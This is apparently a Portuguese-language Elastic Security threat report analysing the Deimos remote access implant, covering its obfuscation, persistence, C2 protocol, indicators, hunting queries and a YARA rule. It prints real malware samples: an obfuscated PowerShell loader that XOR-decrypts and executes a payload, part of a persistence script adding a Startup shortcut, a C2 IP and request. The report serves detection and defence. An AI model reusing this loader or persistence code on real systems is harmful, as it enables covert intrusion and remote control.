O implante Deimos é uma forma nova e complexa de malware relatada pela primeira vez em 2020. Essa ferramenta de acesso remoto está em desenvolvimento ativo, com o objetivo de evitar a detecção usando várias camadas de técnicas complexas de ofuscação e criptografia.

Essas contramedidas defensivas avançadas, que também incluem arquivos de isca convincentes e executáveis de instalação assinados digitalmente, podem frustrar a identificação e a análise. No entanto, a equipe da Elastic Security concluiu recentemente uma remoção bem-sucedida da infraestrutura de comando e controle (C2) observada, o que nos permitiu fornecer regras de detecção e técnicas de caça para ajudar na identificação desse poderoso implante.

Visão geral

A equipe de Inteligência e Analítica da Elastic rastreou uma nova linhagem do implante de persistência e acesso inicial Deimos previamente associado ao malware Jupyter Infostealer (rastreado em outros lugares como Yellow Cockatoo e SolarMarker). Esse implante demonstrou um amadurecimento das técnicas de ofuscação como resultado de pesquisas publicadas. Isso indica que o grupo de atividade está modificando ativamente sua base de código para evitar contramedidas investigativas.

A amostra que observamos não foi utilizada para roubar informações. É um implante que fornece acesso inicial, persistência e funções de C2. Isso torna o implante poderoso, pois pode ser usado para realizar qualquer tarefa que requeira acesso remoto. É provável que essas intrusões sejam o início de uma campanha concentrada contra as vítimas ou venham a ser vendidas em massa para outras campanhas não associadas à coleta de acesso.

A análise utiliza o modelo analítico Pirâmide da Dor de David Bianco para descrever o valor dos indicadores atômicos, artefatos, marcações de ferramentas e TTPs para os autores do malware e como revelá-los pode afetar a eficiência dos conjuntos de intrusão que utilizam esse implante. Além disso, estamos fornecendo algumas técnicas de caça com base em host e regras de detecção que podem ser utilizadas para identificar esse implante e outros que compartilhem artefatos e TTPs semelhantes.

Detalhes

Em 31 de agosto de 2021, a Elastic observou a telemetria de injeção de processo que compartilhava técnicas com o Jupyter Infostealer, conforme relatado pela Morphisec, pela Binary Defense e pelo pesquisador de segurança Squibydoo [1] [2] [3] [4] [5]. Quando começamos a análise e comparamos as amostras que observamos com pesquisas anteriores, identificamos uma mudança na forma como a ofuscação foi implementada. Essa alteração pode ser o resultado de vários fatores, um dos quais sendo uma tentativa do adversário de contornar ou de outra forma evadir as defesas existentes ou a análise de malware.

Observação: como as versões anteriores desse malware foram completamente documentadas, vamos nos concentrar nos recursos e funcionalidades recém-observados.

Durante a análise dinâmica do malware, observamos um comportamento semelhante ao que havia sido relatado em outro lugar — ou seja, ofuscação usando uma litania de variáveis criadas em tempo de execução (variáveis que são exclusivas para cada execução), diretórios, uma cifra XOR e comandos codificados em Base64. Veja abaixo um exemplo das novas táticas de ofuscação empregadas pelo autor do malware para impedir a análise. Discutiremos isso em detalhes enquanto descompactamos a execução do malware.

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$650326ac2b1100c4508b8a700b658ad7='C:\Users\user1\d2e227be5d58955a8d12db18fca5d787\a5fb52fc397f782c691961d23cf5e785\4284a9859ab2184b017070368b4a73cd\89555a8780abdb39d3f1761918c40505\83e4d9dd7a7735a516696a49efcc2269\d1c086bb3efeb05d8098a20b80fc3c1a\650326ac2b1100c4508b8a700b658ad7';$1e3dadee7a4b45213f674cb23b07d4b0='hYaAOxeocQMPVtECUZFJwGHzKnmqITrlyuNiDRkpgdWbSsfjvLBX';$d6ffa847bb31b563e9b7b08aad22d447=[System.Convert]::FromBase64String([System.IO.File]::ReadAllText($650326ac2b1100c4508b8a700b658ad7));remove-item $650326ac2b1100c4508b8a700b658ad7;for($i=0;$i -lt $d6ffa847bb31b563e9b7b08aad22d447.count;){for($j=0;$j -lt $1e3dadee7a4b45213f674cb23b07d4b0.length;$j++){$d6ffa847bb31b563e9b7b08aad22d447[$i]=$d6ffa847bb31b563e9b7b08aad22d447[$i] -bxor $1e3dadee7a4b45213f674cb23b07d4b0[$j];$i++;if($i -ge $d6ffa847bb31b563e9b7b08aad22d447.count){$j=$1e3dadee7a4b45213f674cb23b07d4b0.length}}};$d6ffa847bb31b563e9b7b08aad22d447=[System.Text.Encoding]::UTF8.GetString($d6ffa847bb31b563e9b7b08aad22d447);iex $d6ffa847bb31b563e9b7b08aad22d447;"

A amostra que observamos criou um arquivo codificado em Base64 com vários subdiretórios aninhados no diretório % USERPROFILE% que faziam referência a esse arquivo usando uma variável de tempo de execução no script do PowerShell ($650326ac2b1100c4508b8a700b658ad7 na nossa amostra). Depois que esse arquivo codificado era lido pelo PowerShell, ele era excluído conforme mostrado na Figura 2. Outra pesquisa publicada observou a string Base64 no comando do PowerShell, que a tornou visível durante a execução. Isso mostra uma adaptação das técnicas de ofuscação utilizadas pelos autores do malware em resposta a relatórios publicados por pesquisadores de segurança.

FromBase64String([System.IO.File]::ReadAllText($650326ac2b1100c4508b8a700b658ad7));remove-item $650326ac2b1100c4508b8a700b658ad7

Além disso, houve a inclusão de outra variável ($1e3dadee7a4b45213f674cb23b07d4b0 no nosso exemplo) com um valor de hYaAOxeocQMPVtECUZFJwGHzKnmqITrlyuNiDRkpgdWbSsfjvLBX. Desofuscando o comando do PowerShell, determinamos que esse valor era a chave XOR usada para descriptografar o valor do arquivo 650326ac2b1100c4508b8a700b658ad7. Agora que tínhamos a localização do arquivo codificado em Base64 e a capacidade de descriptografá-lo, precisávamos impedir que ele fosse excluído.

Para fazer isso, utilizamos a configuração do evento FileDelete para Sysmon. Por padrão, isso cria um diretório no diretório “C:\Sysmon” e então coloca todos os arquivos excluídos (nomeados pelo arquivo MD5 + hashes SHA256 + 33 0s + extensão) nessa pasta. Esse diretório está disponível apenas para o usuário SYSTEM. Usamos PSExec para acessar a pasta (psexec -sid cmd). O arquivo continha uma string codificada em Base64 de uma linha.

Como observamos no PowerShell acima, o conteúdo é protegido usando uma cifra XOR, mas uma cifra para a qual temos a chave. Usando as ferramentas de linha de comando base64 e xortool, conseguimos decodificar e descriptografar o arquivo:

• base64
  • -D - usa o programa base64 para decodificar
  • -i - o arquivo de entrada a ser decodificado
  • -o - o arquivo de saída para salvar o conteúdo decodificado
• xortool-xor
  • -r - a chave da cifra XOR
  • -f - o arquivo que é criptografado com XOR
  • >- produz o arquivo descriptografado

base64 -D -i 650326ac2b1100c4508b8a700b658ad7.encoded \
  -o 650326ac2b1100c4508b8a700b658ad7.decoded

xortool-xor -r hYaAOxeocQMPVtECUZFJwGHzKnmqITrlyuNiDRkpgdWbSsfjvLBX \
  -f 650326ac2b1100c4508b8a700b658ad7.decoded \
  > 650326ac2b1100c4508b8a700b658ad7.xor

Isso resultou em outro arquivo ofuscado que começava com uma variável codificada em Base64 com XOR e terminava com mais comandos do PowerShell.

$adab58383614f8be4ed9d27508c2b='FTDSclNHUTdlaXBxnKdZa9pUUW9iakpFGDBaelBHbE9mbTVZYlVFbWIxZ...

...CReaTEShorTcuT($ENV:APpDATa+'\m'+'IcR'+'OSO'+'Ft'+'\w'+'Ind'+'OW'+'S\'+'sT'+'ARt'+' ME
'+'nU'+'\pr'+'OGR'+'aMS\'+'sT'+'ART'+'uP'+'\a44f066dfa44db9fba953a982d48b.LNk');$a78b0ce650249ba927e4cf43d02e5.tARGETpaTh=$a079109a9a641e8b862832e92c1c7+'\'+$a7f0a120130474bdc120c5f
13775a;$a78b0ce650249ba927e4cf43d02e5.WInDoWSTYLE=7;$a78b0ce650249ba927e4cf43d02e5.sAvE();IEx $a54b6e0f7564f4ad0bf41a1875401;

Seguindo o mesmo processo de antes, identificamos a chave XOR (que podia estar tentando usar um sinal = para parecer que era Base64) e decodificamos o arquivo.

XjBrPGQ7aipqcXYkbTQobjJEX0ZzPGlOfm5YbUEmb1dBazZ0RlpCa2hLQks8eXNxK3tsRHpZVmtmUU9mb31jaVVuMXUxUGk/e0tDa0QmXjA8U0ZAckhgNl5vX1deQGBad2peTyZvVUByaSk2XlBJMTxAdEtnT0B3fnBJPCtfe2tvV0d7P3Y0V2BaeXQ9PmhtI3ZaVHc3I2tGcm5IRmlmUTV8bXpxXlg/cyo8XyFwXyt5QmwjOChQZ09aPXxqaS1hfmxDK3U=

Esse processo gerou um arquivo DLL .NET que cria um ID de rastreamento de implante e arquivos usados para persistência (veja mais sobre o ID de rastreamento na seção Análise — acesso inicial).

adab58383614f8be4ed9d27508c2b: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows

A DLL se autodenomina Mars.Deimos e se correlaciona com pesquisas anteriores da Morphisec, da Binary Defense e do pesquisador de segurança Squibydoo [1] [2] [3] [4] [5]. As amostras específicas que observamos utilizam a ferramenta de proteção do .NET Dotfuscator CE 6.3.0 para impedir a análise do malware.

O que achamos particularmente interessante é que os autores passaram um tempo modificando o malware na tentativa de torná-lo mais difícil de detectar, indicando que eles são incentivados a manter o malware. É bom saber disso à medida que avançamos para a fase de análise porque significa que podemos causar um impacto em um implante de malware valioso que frustrará aqueles que o usarem para obter ganhos financeiros.

Análise

Todos os indicadores referenciados na análise estão localizados na seção Indicadores.

A Pirâmide da Dor

Antes de entrarmos na análise, vamos discutir o modelo que usamos para ajudar a guiar nosso processo.

Em 2013, o pesquisador de segurança David Bianco lançou um modelo analítico denominado Pirâmide da Dor. O objetivo do modelo é entender como a revelação de diferentes partes de uma intrusão pode afetar uma campanha. Como você pode ver no modelo abaixo, a identificação de valores de hash é útil, mas eles podem ser facilmente alterados por um adversário, ao passo que a identificação de TTPs é muito difícil para um adversário alterar.

O objetivo de usar a Pirâmide da Dor é entender o máximo possível sobre a intrusão e projetar o impacto (leia-se a quantidade de “dor”) que você pode infligir. Ao longo da análise das amostras observadas, vamos sobrepô-las na Pirâmide da Dor como um método ilustrativo para avaliar o impacto potencial.

Hashes de arquivo

Depois de identificar que tínhamos observado uma nova variante da amostra de malware, aplicamos consultas de busca ao nosso conjunto de dados e identificamos 10 organizações exclusivas em vários verticais, indicando que esses não pareciam ser os alvos. Dessas 10 organizações, observamos 10 hashes de arquivo de instalador inicial diferentes. Os arquivos codificados inseridos também eram todos diferentes.

Portanto, embora essas informações sejam úteis, é evidente que usar um hash de arquivo como método de detecção não seria útil em todas as organizações.

Endereços IP

Como outros pesquisadores notaram, observamos o mesmo endereço IP usado na campanha. Esse endereço IP foi associado pela primeira vez a arquivos maliciosos em 30 de agosto de 2021.

IP           216.230.232.134
Anycast      false
City         Houston
Region       Texas
Country      United States (US)
Location     29.7633,-95.3633
Organization AS40156 The Optimal Link Corporation
Postal       77052
Timezone     America/Chicago

Esse endereço IP foi relatado a vários sites de abuso e identificado de forma independente por vários pesquisadores de segurança. Iniciamos uma solicitação de remoção bem-sucedida do endereço IP em 21 de setembro de 2021, que removeu o acesso à infraestrutura de C2 observado para todos os implantes.

Embora esse indicador atômico seja útil para bloquear em um firewall, o adversário pode mudar para outro endereço IP facilmente; então, vamos tentar subir na pirâmide e causar um impacto maior no adversário.

Artefatos

Desenvolvimento de recursos

As amostras de arquivos de isca que analisamos foram predominantemente assinadas por organizações em países de língua escandinava e eslava, com dois outliers de países de língua inglesa e francesa. Múltiplas amostras foram assinadas com um certificado digital registrado como “Spoloènos s Ruèením Obmedzeným” (S.R.O.). Um S.R.O. é uma designação comercial para empresas eslovacas pertencentes a uma entidade estrangeira.

O S.R.O. que observamos como proprietário das assinaturas digitais (SRO nº 1) foi formado em 29 de julho de 2021, e a assinatura foi observada a partir de 26 de agosto de 2021. Além disso, o S.R.O. que observamos pertence a um S.R.O. diferente (SRO nº 2).

O SRO nº 2 está ativo comercialmente desde 19 de agosto de 2014 e oferece uma variedade de serviços. O proprietário do SRO nº 2 tem um parceiro de nome único localizado em um país do antigo Bloco do Leste Europeu (gerente executivo).

Não podemos afirmar de forma definitiva se as organizações ou pessoas estão intencionalmente envolvidas ou se são participantes involuntários, portanto, não os nomearemos. Esse processo de obtenção de certificados possivelmente roubados se alinha com outras amostras que analisamos. É óbvio que, independentemente da forma como esses certificados foram adquiridos, as pessoas responsáveis parecem conhecer bem as burocracias e as leis exigidas para registrar uma empresa de propriedade estrangeira na Eslováquia.

Acesso inicial

Observamos a maioria dos indicadores neste nível. Os indicadores no nível dos Artefatos, tanto do host quanto da rede, são valiosos para o defensor porque são difíceis de alterar sem um reprojeto considerável da maneira como o malware funciona. Isso difere dos indicadores atômicos (hashes e infraestrutura) porque esses elementos são modulares e podem simplesmente ser atualizados. Os Artefatos, como as chaves de cifra (como veremos a seguir), costumam ser embutidos no código-fonte antes da compilação e requerem um trabalho significativo de ajuste.

O dropper cria uma série de diretórios aninhados cujos nomes têm 32 caracteres, são alfanuméricos e usam letras minúsculas. Em todos os casos que observamos, há seis diretórios aninhados e um único arquivo no subdiretório final usando a mesma convenção de nomenclatura. Durante a execução inicial, esse arquivo é carregado, desofuscado com uma chave XOR estática de 52 bytes e executado como um script do PowerShell. Incluímos uma consulta de caça na seção Detecção que identifica essa atividade.

Além disso, o assembly .NET cria uma string listando todos os arquivos localizados em %USERPROFILE%\APPDATA\ROAMING. Isso é armazenado como o valor hwid, que é um identificador exclusivo para essa máquina. Se o arquivo ainda não existir, será criado gerando 32 bytes aleatórios e codificando-os com uma codificação Base64 customizada.

Persistência

Uma vez executado, o script do PowerShell estabelece a persistência do malware, gerando uma quantidade aleatória entre 100 e 200 arquivos em um diretório denominado %APPDATA%\Microsoft\. A string aleatória contém apenas letras maiúsculas e minúsculas de A a Z e números de 0 a 9. Pode ter entre 10 e 20 caracteres de comprimento. Esse diretório é o diretório temporário. Esses arquivos contêm entre 50 mil e 200 mil bytes gerados aleatoriamente. Os próprios arquivos são nomeados ., onde cada string aleatória segue a mesma convenção do nome do diretório. Por último, um arquivo final é gravado nesse diretório que contém uma DLL .NET ofuscada. Esse é o implante Deimos real. Ele se assemelha aos arquivos fictícios com atributos semelhantes nesse diretório, tentando ainda mais escapar das defesas.

O próximo script de função criará duas chaves de Registro que fornecem um manipulador de shell do Windows para o primeiro arquivo de dados aleatórios criado acima. Ele usa a extensão desse arquivo para associar uma solicitação para executá-lo com a execução de um comando do PowerShell. As chaves de Registro são criadas em HKEY_CURRENT_USER\Software\Classes\\, onde a string aleatória segue a mesma convenção mencionada acima, exceto para todos os caracteres minúsculos. A primeira chave ainda terá uma subchave de \Shell\Open\Command que contém o script do PowerShell do carregador. O valor da string tem maiúsculas e minúsculas misturadas em um esforço para dificultar a busca. Por exemplo, PowErShELl foi usado na nossa amostra. A segunda chave é efetivamente um alias que corresponde à extensão do primeiro arquivo gerado aleatoriamente acima. Seu valor corresponde ao valor em minúsculas da string aleatória usada no caminho da primeira chave.

O artefato de persistência final é um arquivo .LNk que é colocado no diretório Startup do usuário. Nesta amostra, ele é codificado para ser denominado a44f066dfa44db9fba953a982d48b.LNk. O atalho é definido para executar o primeiro arquivo gerado aleatoriamente acima e será aberto em uma janela minimizada. Após o login do usuário, o arquivo de link dirá ao Windows para executar o arquivo, mas ele não é executável. As chaves de Registro acima informam ao Windows para executar o comando do PowerShell configurado na primeira chave acima para executar o arquivo. O comando do PowerShell contém o caminho completo para a DLL .NET ofuscada e a chave XOR para desofuscá-la. Finalmente, o assembly da DLL .NET será executado pelo PowerShell chamando o método de classe [Mars.Deimos]::interact(). Essa arquitetura de persistência pode ser difícil de seguir no texto; por isso, incluímos abaixo uma representação visual do mecanismo de persistência.

Fase de comando e controle

O malware fornece um implante de uso geral que pode realizar qualquer ação em seu nível de privilégio. Ou seja, ele pode receber e executar um arquivo do Windows PE, um script do PowerShell, um assembly de DLL .NET ou executar comandos arbitrários do PowerShell.

Existem algumas permutações de encapsulamentos de carga útil específicas do comando, mas elas são passadas para um método comum para executar a solicitação web para o servidor de C2. A solicitação web usa um método POST HTTP e define um tempo limite de 10 minutos para estabelecer a comunicação.

Nenhum cabeçalho adicional é definido além dos cabeçalhos padrão preenchidos pelo provedor WebRequest .NET, que são: Host, Content-Length e Connection: Keep-Alive.

POST / HTTP/1.1
Host: 216.230.232.134
Content-Length: 677
Connection: Keep-Alive

A Figura 13 mostra o dump hexadecimal do corpo da solicitação POST do cliente.

Os primeiros bytes em branco são gerados aleatoriamente e colocados no corpo para ofuscar padrões na comunicação de rede. Haverá entre 0 e 512 desses bytes. A seguir, mostrado em verde, há um byte nulo, marcando o fim dos dados aleatórios. Os próximos 10 bytes, mostrados em azul, são um valor de “cookie” enviado na última comunicação do servidor. Isso provavelmente impedirá a repetição de pacotes capturados para o servidor, já que cada comunicação é única. Não há nada específico exigindo que isso tenha 10 bytes, mas em todo o tráfego que observamos, esse foi o caso. No caso do check-in inicial, isso não está presente. Por fim, os bytes restantes mostrados em vermelho aqui são o corpo criptografado. Para o check-in inicial, são exatamente 256 bytes de dados criptografados RSA que incluem a chave que será usada nas comunicações subsequentes e o ID de hardware exclusivo para esse implante. Para as comunicações restantes, o cliente usa o modo CBC de AES-128 para criptografia. Para criptografia AES, essa parte sempre será um múltiplo de 16 bytes de comprimento.

A chave pública RSA usada para o handshake inicial é exclusiva para cada campanha. Usando a regra YARA na Figura 24, conseguimos descobrir um total de 65 amostras do implante. A chave RSA forneceu um elemento central para discernir campanhas exclusivas, abrangendo países dos Estados Unidos à Moldávia. Apenas 12,5% das amostras incluíam recursos de roubo de informações, semelhante ao que foi observado com o Jupyter Infostealer. O resto das amostras eram o implante Deimos sem funcionalidades adicionais de roubo de informações. Isso pode significar que o implante está ganhando popularidade, pois é completo e pode ser usado para acesso inicial e persistência em qualquer campanha.

Loop principal

Assim que o processo de check-in é concluído, o loop do processo principal começa. A ação padrão do implante durante o loop principal é a ação ping. O ping envia informações sobre o ambiente, incluindo o nome da máquina, a versão do Windows, a arquitetura da CPU, informações sobre se o usuário tem privilégios administrativos e uma string de versão do implante.

Se uma tarefa for agendada para o implante, a resposta ao comando ping conterá um valor de status que é definido como “file” ou “command”. Se nenhuma tarefa for dada, o implante entrará em suspensão por 20 segundos + uma espera aleatória entre 0 e 20 segundos. Esse é o tempo de espera entre todas as tarefas.

Para tarefas “file”, o implante executa imediatamente outra solicitação usando o atributo task_id da definição da tarefa para recuperar o arquivo. O implante espera um arquivo “exe”, um arquivo “ps1” ou um “module”, que é um arquivo de assembly .NET.

Quando um “exe” for baixado, ele será gravado em um arquivo no %TEMP%\.exe, onde RANDOM_NAME é um valor alfanumérico de 24 caracteres com todas as letras maiúsculas. Um novo processo é iniciado imediatamente executando o arquivo, e o status é relatado no próximo intervalo de tarefas.

Quando um arquivo “ps1” é baixado, o conteúdo do script é passado para um novo processo do PowerShell usando a entrada padrão.

Por fim, os arquivos “module” são adicionados a um “gerenciador de plugins”, e o método “Run” é executado.

Para tarefas “command”, nenhuma solicitação adicional é necessária. O valor de “command” da resposta contém o código do PowerShell que será executado da mesma forma que o tipo de arquivo “ps1”.

Presumivelmente, a diferença é que, para scripts rápidos ou talvez operações interativas, o ator da ameaça usaria o tipo “command”. Para scripts maiores, o tipo “file” seria usado.

Ferramentas

Olhando para os metadados de todas as amostras observadas, podemos ver uma conexão de alta confiança, pois todos foram criados usando uma única plataforma de software de PDF.

Comments                        : This installation was built with Inno Setup.
Company Name                    :
File Description                : SlimReader Setup
File Version                    :
Legal Copyright                 : (c) InvestTech
Original File Name              :
Product Name                    : SlimReader
Product Version                 : 1.4.1.2

Embora esse software pareça legítimo, parece ser usado com frequência para criar arquivos de isca. Observamos 53 amostras de malware ou adjacentes a um malware criadas com a ferramenta SlimReader. Além disso, a equipe de pesquisa da eSentire identificou o SlimReader como a ferramenta preferida na criação de, conforme relatado, muitas centenas de milhares de arquivos de isca.

TTPs

No topo da pirâmide, observamos uma característica que está presente em nossas amostras e também em outras relatadas por pesquisadores de segurança. Em todos os casos observados, o malware usou técnicas conhecidas como redirecionamentos não autorizados do Google e envenenamento de SEO para induzir os usuários a instalar o malware.

O envenenamento de SEO (otimização do mecanismo de busca) é uma técnica usada para colocar palavras-chave de SEO em um documento a fim de fazer sua classificação subir nos mecanismos de busca, de modo que documentos e sites maliciosos alcancem posições mais altas nos resultados de busca na web. Além disso, os redirecionamentos não autorizados do Google são uma técnica usada para nomear o instalador de malware inicial com a busca do Google, como uma forma de enganar o usuário e fazê-lo clicar no arquivo que baixou. Por exemplo, se um usuário fizer uma busca por “modelo de currículo gratuito” e clicar em um site malicioso que parece ter esse arquivo, será apresentado a ele um instalador de malware chamado, neste exemplo, free-resume-template.exe. O malware utilizará um ícone de PDF, embora seja um executável, como uma tentativa de enganar o usuário para que ele execute o arquivo PE, que inicia os processos do PowerShell destacados abaixo na visualização do Elastic Analyzer.

Compreender os processos do malware, bem como a forma como ele interage com os diferentes elementos da Pirâmide da Dor é fundamental para causar impactos de longo prazo no grupo de atividade e nos conjuntos de intrusão.

Impacto

Os conjuntos de intrusão descritos utilizam várias táticas e técnicas categorizadas pelo framework MITRE ATT&CK®. Podem existir outros TTPs, mas eles não foram observados durante a nossa análise.

Táticas

• Resource Development (Desenvolvimento de recursos)
• Initial Access (Acesso inicial)
• Execution (Execução)
• Persistence (Persistência)
• Defense Evasion (Evasão de defesa)
• Command and Control (Comando e controle)

Técnicas/subtécnicas

• Acquire Infrastructure (Adquirir infraestrutura) — Virtual Private Server (Servidor privado virtual)
• Develop Capabilities (Desenvolver funcionalidades) — Malware, Code Signing Certificates (Certificados de assinatura de código) ou Obtain Capabilities (Obter funcionalidades) — Malware, Code Signing Certificates (Certificados de assinatura de código)
• Drive-by Compromise (Comprometimento de visitante)
• Command and Scripting Interpreter (Intérprete de comandos e scripts) — PowerShell
• User Execution (Execução do usuário) — Malicious File (Arquivo malicioso)
• Boot or Logon Autostart Execution (Execução de inicialização automática de inicialização ou logon) — Registry Run Keys / Startup Folder (Chaves de execução do Registro/pasta Startup)
• Deobfuscate/Decode Files or Information (Desofuscar/decodificar arquivos ou informações)
• Obfuscated Files or Information (Arquivos ou informações ofuscados) — Indicator Removal from Tools (Remoção do indicador nas ferramentas)
• Application Layer Protocol (Protocolo de camada de aplicação) — Web Protocols (Protocolos da web)

Detecção

Existe uma regra de detecção existente que identificará genericamente essa atividade. Também estamos lançando duas regras adicionais para detectar essas técnicas. Além disso, estamos fornecendo consultas de caça que podem identificar outros conjuntos de intrusão que estejam utilizando técnicas semelhantes.

Lógica de detecção

A Elastic mantém um repositório público de lógica de detecção usando o Elastic Stack e o Elastic Endgame.

Novas regras de detecção

Suspicious Registry Modifications (Modificações de Registro suspeitas)

Abnormal File Extension in User AppData Roaming Path (Extensão de arquivo anormal no caminho de Roaming de AppData do usuário)

Consultas de caça

Essas consultas podem ser usadas em Security (Segurança) -> Timelines (Linhas do tempo) -> New Timeline (Nova linha do tempo) → Correlation query editor (Editor de consulta de correlação) do Kibana. Embora essas consultas identifiquem esse conjunto de intrusão, elas também podem identificar outros eventos importantes que, uma vez investigados, podem levar a outras atividades maliciosas.

Esta consulta identificará o arquivo inserido inicial contendo o instalador ofuscado.

file where file.path regex """C:\\Users\\[^\\]*\\([a-z0-9]{32}\\){6}[a-z0-9]{32}"""

Esta consulta identificará o arquivo exclusivo “Hardware ID” (hwid) que é criado na primeira vez que o implante é executado. Este arquivo de ID é usado para identificar esta instalação de forma exclusiva.

file where file.path regex~ """.*\\APPDATA\\ROAMING\\[A-Za-z0-9_]{96,192}"""

Esta consulta identificará todos os arquivos com uma extensão de arquivo de dez ou mais caracteres no caminho AppData\Roaming.

file where file.path : "*\\appdata\\roaming\\*" and 
length(file.extension) >= 10 and 
process.name : ("cmd.exe", "powershell.exe", "wmic.exe", "mshta.exe", "pwsh.exe", "cscript.exe", "wscript.exe", "regsvr32.exe", "RegAsm.exe", "rundll32.exe", "EQNEDT32.EXE", "WINWORD.EXE", "EXCEL.EXE", "POWERPNT.EXE", "MSPUB.EXE", "MSACCESS.EXE", "iexplore.exe", "InstallUtil.exe")

Esta consulta identificará um valor de string longo contendo a palavra “powershell” no Registro.

registry where  registry.data.strings : "*powershell*" and length(registry.data.strings) >= 100

Regras YARA

Criamos uma regra YARA para identificar a presença do arquivo DLL do cavalo de Troia Deimos descrito neste post.

rule Windows_Trojan_Deimos_DLL {
    meta:
        author = "Elastic Security"
        creation_date = "2021-09-18"
        last_modified = "2021-09-18"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "Deimos"
        threat_name = "Windows.Trojan.Deimos"
        description = "Detects the presence of the Deimos trojan DLL file."
        reference = ""
        reference_sample = "2c1941847f660a99bbc6de16b00e563f70d900f9dbc40c6734871993961d3d3e"

    strings:
        $a1 = "\\APPDATA\\ROAMING" wide fullword
        $a2 = "{\"action\":\"ping\",\"" wide fullword
        $a3 = "Deimos" ascii fullword
        $b1 = { 00 57 00 58 00 59 00 5A 00 5F 00 00 17 75 00 73 00 65 00 72 00 }
        $b2 = { 0C 08 16 1F 68 9D 08 17 1F 77 9D 08 18 1F 69 9D 08 19 1F 64 9D }
    condition:
        all of ($a*) or 1 of ($b*)
}

Você pode acessar essa regra YARA aqui.

Recomendações de defesa

As etapas a seguir podem ser utilizadas para melhorar a postura de proteção de uma rede.

1. Leia e implemente a lógica de detecção acima no seu ambiente usando tecnologias como Sysmon e Elastic Endpoint ou Winlogbeat.
2. Confira e verifique se você implantou as atualizações de segurança da Microsoft mais recentes
3. Mantenha backups dos seus sistemas críticos para ajudar na recuperação rápida.

Referências

Ao longo do documento, fizemos referência aos seguintes trabalhos de pesquisa:

• https://www.binarydefense.com/mars-deimos-solarmarker-jupyter-infostealer-part-1
• https://redcanary.com/blog/yellow-cockatoo
• https://www.crowdstrike.com/blog/solarmarker-backdoor-technical-analysis
• https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=VirTool:MSIL/Deimos.A!rfn&ThreatID=2147770772
• http://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html
• https://blog.morphisec.com/jupyter-infostealer-backdoor-introduction
• https://blog.morphisec.com/new-jupyter-evasive-delivery-through-msi-installer
• https://squiblydoo.blog/2021/06/20/mars-deimos-from-jupiter-to-mars-and-back-again-part-two
• https://www.esentire.com/security-advisories/hackers-flood-the-web-with-100-000-malicious-pages-promising-professionals-free-business-forms-but-are-delivering-malware-reports-esentire
• https://www.bankinfosecurity.com/how-seo-poisoning-used-to-deploy-malware-a-16882

Indicadores